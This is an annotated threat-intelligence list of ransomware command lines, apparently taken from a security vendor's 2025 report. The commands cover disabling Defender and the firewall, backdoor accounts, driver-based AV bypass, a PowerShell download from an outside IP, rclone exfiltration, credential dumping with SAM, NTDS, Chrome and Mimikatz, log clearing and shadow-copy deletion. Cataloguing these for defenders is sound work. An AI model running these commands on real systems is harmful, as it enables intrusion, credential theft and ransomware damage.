Ransomware Command-Line TTPs (From “Ransomware 2025”)

Ransomware Command-Line TTPs (From “Ransomware 2025”)

This document contains annotated command-line examples extracted from the “Ransomware 2025” whitepaper by Symantec for research and analysis purposes. https://www.security.com/sites/default/files/2025-02/2025_02_Ransomware_2025.pdf

🧑‍💻 Account and Privilege Manipulation

net user support3 test#123 /add /Y
:: Creates a new user account 'support3' with password 'test#123'

net localgroup [GROUP_NAME] support3 /add /Y
:: Adds 'support3' user to a specified local group

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d support3 /f
:: Sets autologon for the support3 account

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,cmd.exe" /f
:: Adds cmd.exe to launch at logon along with Explorer

🦠 Defense Evasion and Security Disabling

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
:: Disables Windows Defender antispyware

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
:: Disables Windows Defender antivirus

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /f /v "cmd.exe"
:: Excludes cmd.exe from Defender scanning

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "CSIDL_WINDOWS" /d 0 /t REG_DWORD /f
:: Adds exclusion for Defender scanning at the Windows directory level

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
:: Deletes Defender policy settings — potentially resets any protections

powershell "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"
:: Disables Windows Firewall on all network profiles

cmd.exe /c powershell Add-MpPreference -ExclusionPath C:\*
:: Excludes entire C:\ drive from Defender scanning

"CSIDL_SYSTEM\dism.exe" /online /DisableFeature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
:: Disables and removes the Windows Defender feature using DISM

🧰 Tool Deployment and Usage

sc create aswSP_ArPot2 binPath=CSIDL_COMMON_APPDATA\w\123.sys type=kernel
:: Creates a new kernel-mode service using a vulnerable driver (BYOVD)

sc start aswSP_ArPot2
:: Starts the malicious service

cmd.exe /Q /c start C:\Users\Public\avk.exe
:: Silently runs the AV bypass tool (Warp AVKiller)

📦 Payload Delivery and Execution

cmd.exe /Q /c 7zr.exe x ll.7z * -pPASSWORD -o"C:\Users\Public"
:: Extracts ransomware payload from 7-Zip archive with password

cmd.exe /Q /c start C:\ProgramData\lb3.exe
:: Executes the LockBit ransomware binary

📤 Data Exfiltration and Reconnaissance

powershell -ep bypass iwr -uri http://77.221.149[.]107:8000/appverifUI.dll -O appverifUI.dll
:: Downloads a potentially malicious DLL via PowerShell

rclone.exe copy \\<target>\[PATH] remote:bucket --exclude *.exe --multi-thread-streams 12
:: Exfiltrates selected file types using Rclone, excluding executables and installers

robocopy . "CSIDL_SYSTEM" /COPY:DT /E /XX /R:0 /W:0 /NP /XF RunFileCopy.cmd /IS /IT
:: Copies files with metadata, excluding scripts, and ensuring integrity

📋 System and Registry Interaction

reg.exe save hklm\sam C:\Temp\sam.save
:: Saves SAM hive, which contains user password hashes

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
:: Alters LSA settings for potential lateral movement

gpupdate /force
:: Forces Group Policy update to apply changes (e.g. security downgrades)

wevtutil cl application
wevtutil cl security
wevtutil cl system
:: Clears Windows Event Logs (Application, Security, System)

esentutl.exe /y "CSIDL_PROFILE\appdata\local\google\chrome\user data\default\login data" /d "CSIDL_PROFILE\appdata\local\google\chrome\user data\default\login data.tmp"
:: Dumps Chrome login credentials stored in the local ESE database

🧹 System Cleanup and Obfuscation

Get-CimInstance Win32_ShadowCopy | Remove-CimInstance
:: Deletes shadow copies via CIM (alternative to vssadmin)

vssadmin delete Shadows /all /quiet
:: Deletes all shadow copies silently

powershell "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
:: Clears all event logs using PowerShell

"CSIDL_SYSTEM\wbem\wmic.exe" shadowcopy delete /nointeractive
:: Deletes shadow copies using WMIC

💻 Remote Execution and Lateral Movement

PsExec64.exe \\192.168.0.8 -s cmd.exe
:: Runs cmd.exe on remote machine 192.168.0.8 with SYSTEM privileges

wmic product where name="Security Client" call uninstall /nointeractive
:: Uninstalls security software via WMI

powershell "gwmi win32_process|?{$_.path -notmatch 'C:\\Windows' -and $_.path -match ''}|select -exp processid|foreach-object{taskkill /f /pid $_}"
:: Stops all suspicious processes not under C:\Windows

ntdsutil "ac i ntds" ifm "create full c:\temp\temp" q q
:: Dumps Active Directory database (IFM – Install From Media)

🔐 Credential Access and Dumping

\Mimik\x64\mimik.exe "privilege::debug" "sekurlsa::bootkey" "token::elevate" "event::clear" "log .\!logs\Result.txt" "sekurlsa::logonPasswords" "vault::cred" "lsadump::secrets" "lsadump::cache" "lsadump::sam" exit
:: Executes multiple Mimikatz modules to dump passwords, tokens, secrets, and vault data